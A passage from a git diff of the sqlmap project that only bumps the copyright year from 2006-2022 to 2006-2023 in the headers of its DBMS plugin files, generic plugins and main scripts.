+++ b/plugins/dbms/oracle/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py
index 8f4344c252b..b27b9463b5d 100644
--- a/plugins/dbms/postgresql/__init__.py
+++ b/plugins/dbms/postgresql/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py
index 2b9b7782991..15a2b48e358 100644
--- a/plugins/dbms/postgresql/connector.py
+++ b/plugins/dbms/postgresql/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py
index 665d7b9398b..f3ced41640b 100644
--- a/plugins/dbms/postgresql/enumeration.py
+++ b/plugins/dbms/postgresql/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py
index 24267367d9b..3f1e0eb364e 100644
--- a/plugins/dbms/postgresql/filesystem.py
+++ b/plugins/dbms/postgresql/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py
index 3cbde60eb2a..3c3f2433e9e 100644
--- a/plugins/dbms/postgresql/fingerprint.py
+++ b/plugins/dbms/postgresql/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py
index d2217fbd95f..face3ba0d64 100644
--- a/plugins/dbms/postgresql/syntax.py
+++ b/plugins/dbms/postgresql/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py
index b4a576a122d..1fa684e4aa7 100644
--- a/plugins/dbms/postgresql/takeover.py
+++ b/plugins/dbms/postgresql/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/__init__.py b/plugins/dbms/presto/__init__.py
index 23467316371..94c74be1bd1 100644
--- a/plugins/dbms/presto/__init__.py
+++ b/plugins/dbms/presto/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/connector.py b/plugins/dbms/presto/connector.py
index fbd0cf123b1..48473ad0216 100644
--- a/plugins/dbms/presto/connector.py
+++ b/plugins/dbms/presto/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py
index 36b10cc31f5..9dcf092f3bc 100644
--- a/plugins/dbms/presto/enumeration.py
+++ b/plugins/dbms/presto/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/filesystem.py b/plugins/dbms/presto/filesystem.py
index eb712e5aba3..67633823884 100644
--- a/plugins/dbms/presto/filesystem.py
+++ b/plugins/dbms/presto/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py
index f93a877f32a..4a531fedb92 100644
--- a/plugins/dbms/presto/fingerprint.py
+++ b/plugins/dbms/presto/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/syntax.py b/plugins/dbms/presto/syntax.py
index 51d87d21225..b6b6c633dc8 100644
--- a/plugins/dbms/presto/syntax.py
+++ b/plugins/dbms/presto/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/presto/takeover.py b/plugins/dbms/presto/takeover.py
index 150a8b68bf3..bc0758f42df 100644
--- a/plugins/dbms/presto/takeover.py
+++ b/plugins/dbms/presto/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/__init__.py b/plugins/dbms/raima/__init__.py
index 037c91bbeed..2843bbabc58 100644
--- a/plugins/dbms/raima/__init__.py
+++ b/plugins/dbms/raima/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/connector.py b/plugins/dbms/raima/connector.py
index 4bb5af68889..a095cf8c624 100644
--- a/plugins/dbms/raima/connector.py
+++ b/plugins/dbms/raima/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/enumeration.py b/plugins/dbms/raima/enumeration.py
index ac0d73f09db..449dad43cdb 100644
--- a/plugins/dbms/raima/enumeration.py
+++ b/plugins/dbms/raima/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/filesystem.py b/plugins/dbms/raima/filesystem.py
index 3cce1c9aa15..d537b09aca7 100644
--- a/plugins/dbms/raima/filesystem.py
+++ b/plugins/dbms/raima/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/fingerprint.py b/plugins/dbms/raima/fingerprint.py
index 7d5d6a66f77..0ed21dbcd3b 100644
--- a/plugins/dbms/raima/fingerprint.py
+++ b/plugins/dbms/raima/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/syntax.py b/plugins/dbms/raima/syntax.py
index 9bd95ffd2ec..27a7f0ddf58 100644
--- a/plugins/dbms/raima/syntax.py
+++ b/plugins/dbms/raima/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/raima/takeover.py b/plugins/dbms/raima/takeover.py
index 1d42766f9fe..e375ddb7967 100644
--- a/plugins/dbms/raima/takeover.py
+++ b/plugins/dbms/raima/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py
index e2f45b123de..4695462c756 100644
--- a/plugins/dbms/sqlite/__init__.py
+++ b/plugins/dbms/sqlite/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py
index ef5ea1da307..7ec752f7d3b 100644
--- a/plugins/dbms/sqlite/connector.py
+++ b/plugins/dbms/sqlite/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py
index 2e801d7e57e..b5a9176748a 100644
--- a/plugins/dbms/sqlite/enumeration.py
+++ b/plugins/dbms/sqlite/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py
index ae16394b118..3bbb5ef8350 100644
--- a/plugins/dbms/sqlite/filesystem.py
+++ b/plugins/dbms/sqlite/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py
index 24de50c24c1..b57e788d0f6 100644
--- a/plugins/dbms/sqlite/fingerprint.py
+++ b/plugins/dbms/sqlite/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py
index 80ef1546c6d..7e6f4046e6c 100644
--- a/plugins/dbms/sqlite/syntax.py
+++ b/plugins/dbms/sqlite/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py
index 8e8eb4a1ddb..3b96a5c0f4e 100644
--- a/plugins/dbms/sqlite/takeover.py
+++ b/plugins/dbms/sqlite/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py
index 374e533239a..dee9b5c9533 100644
--- a/plugins/dbms/sybase/__init__.py
+++ b/plugins/dbms/sybase/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py
index bc286b7aaf2..1514d32e28e 100644
--- a/plugins/dbms/sybase/connector.py
+++ b/plugins/dbms/sybase/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py
index dda39514ac8..9f254c97727 100644
--- a/plugins/dbms/sybase/enumeration.py
+++ b/plugins/dbms/sybase/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/filesystem.py b/plugins/dbms/sybase/filesystem.py
index 53ee69cc779..ca60dc49afe 100644
--- a/plugins/dbms/sybase/filesystem.py
+++ b/plugins/dbms/sybase/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/fingerprint.py b/plugins/dbms/sybase/fingerprint.py
index c34db380847..c37b8754eb9 100644
--- a/plugins/dbms/sybase/fingerprint.py
+++ b/plugins/dbms/sybase/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/syntax.py b/plugins/dbms/sybase/syntax.py
index 66c0af279d1..1d4b9cf8bf7 100644
--- a/plugins/dbms/sybase/syntax.py
+++ b/plugins/dbms/sybase/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/sybase/takeover.py b/plugins/dbms/sybase/takeover.py
index 93935a6e549..931f35a4428 100644
--- a/plugins/dbms/sybase/takeover.py
+++ b/plugins/dbms/sybase/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/__init__.py b/plugins/dbms/vertica/__init__.py
index a857b5f0229..55db33d987d 100644
--- a/plugins/dbms/vertica/__init__.py
+++ b/plugins/dbms/vertica/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/connector.py b/plugins/dbms/vertica/connector.py
index 0a41e9698c7..75cf1c1617b 100644
--- a/plugins/dbms/vertica/connector.py
+++ b/plugins/dbms/vertica/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/enumeration.py b/plugins/dbms/vertica/enumeration.py
index 33dee40436e..fad90676403 100644
--- a/plugins/dbms/vertica/enumeration.py
+++ b/plugins/dbms/vertica/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/filesystem.py b/plugins/dbms/vertica/filesystem.py
index 2ff16d48d0e..bf4d5c5bac7 100644
--- a/plugins/dbms/vertica/filesystem.py
+++ b/plugins/dbms/vertica/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/fingerprint.py b/plugins/dbms/vertica/fingerprint.py
index b4666c6148e..61ae7c78131 100644
--- a/plugins/dbms/vertica/fingerprint.py
+++ b/plugins/dbms/vertica/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/syntax.py b/plugins/dbms/vertica/syntax.py
index 6c78c402665..016cbf724ed 100644
--- a/plugins/dbms/vertica/syntax.py
+++ b/plugins/dbms/vertica/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/vertica/takeover.py b/plugins/dbms/vertica/takeover.py
index 2862fe6fac3..d65d717696e 100644
--- a/plugins/dbms/vertica/takeover.py
+++ b/plugins/dbms/vertica/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/__init__.py b/plugins/dbms/virtuoso/__init__.py
index 2e115d437a2..21b2b75fada 100644
--- a/plugins/dbms/virtuoso/__init__.py
+++ b/plugins/dbms/virtuoso/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/connector.py b/plugins/dbms/virtuoso/connector.py
index abc19bac443..60cd174f624 100644
--- a/plugins/dbms/virtuoso/connector.py
+++ b/plugins/dbms/virtuoso/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/enumeration.py b/plugins/dbms/virtuoso/enumeration.py
index 0b5eca36df5..a0434fa0d04 100644
--- a/plugins/dbms/virtuoso/enumeration.py
+++ b/plugins/dbms/virtuoso/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/filesystem.py b/plugins/dbms/virtuoso/filesystem.py
index b1b0e890b06..f4ef54e9175 100644
--- a/plugins/dbms/virtuoso/filesystem.py
+++ b/plugins/dbms/virtuoso/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/fingerprint.py b/plugins/dbms/virtuoso/fingerprint.py
index e62c26b7c90..0ed0bd5ddd3 100644
--- a/plugins/dbms/virtuoso/fingerprint.py
+++ b/plugins/dbms/virtuoso/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/syntax.py b/plugins/dbms/virtuoso/syntax.py
index 51d87d21225..b6b6c633dc8 100644
--- a/plugins/dbms/virtuoso/syntax.py
+++ b/plugins/dbms/virtuoso/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/dbms/virtuoso/takeover.py b/plugins/dbms/virtuoso/takeover.py
index a82ef964582..6acd165a936 100644
--- a/plugins/dbms/virtuoso/takeover.py
+++ b/plugins/dbms/virtuoso/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py
index a5b83a8faa1..8476fab2f94 100644
--- a/plugins/generic/__init__.py
+++ b/plugins/generic/__init__.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/connector.py b/plugins/generic/connector.py
index 0375ca428b3..2512c7f1488 100644
--- a/plugins/generic/connector.py
+++ b/plugins/generic/connector.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/custom.py b/plugins/generic/custom.py
index 3002c0da175..fab62615be1 100644
--- a/plugins/generic/custom.py
+++ b/plugins/generic/custom.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py
index 32cfe28f018..b69c9f67ee6 100644
--- a/plugins/generic/databases.py
+++ b/plugins/generic/databases.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py
index 365fad20452..a8e0bce7a16 100644
--- a/plugins/generic/entries.py
+++ b/plugins/generic/entries.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py
index 95bdbfb7134..f09876f1eda 100644
--- a/plugins/generic/enumeration.py
+++ b/plugins/generic/enumeration.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py
index 2c073c78eb2..4c046f645f5 100644
--- a/plugins/generic/filesystem.py
+++ b/plugins/generic/filesystem.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py
index 0ac3e2b0f0b..0bdcb35c111 100644
--- a/plugins/generic/fingerprint.py
+++ b/plugins/generic/fingerprint.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py
index f3459c8c980..f061d585165 100644
--- a/plugins/generic/misc.py
+++ b/plugins/generic/misc.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/search.py b/plugins/generic/search.py
index 12195a16163..bb670b71843 100644
--- a/plugins/generic/search.py
+++ b/plugins/generic/search.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/syntax.py b/plugins/generic/syntax.py
index 9d1da3e20f1..146a713249b 100644
--- a/plugins/generic/syntax.py
+++ b/plugins/generic/syntax.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py
index edb067a3b5b..429653b0087 100644
--- a/plugins/generic/takeover.py
+++ b/plugins/generic/takeover.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/plugins/generic/users.py b/plugins/generic/users.py
index 0b658f2b0ab..ddef85a2a32 100644
--- a/plugins/generic/users.py
+++ b/plugins/generic/users.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/sqlmap.py b/sqlmap.py
index 93bc145aaa9..33a0cae0e7e 100755
--- a/sqlmap.py
+++ b/sqlmap.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
-Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """
 
diff --git a/sqlmapapi.py b/sqlmapapi.py
index 35a1f3edcfb..2bcb2a2bb7c 100755
--- a/sqlmapapi.py
+++ b/sqlmapapi.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python
 
 """
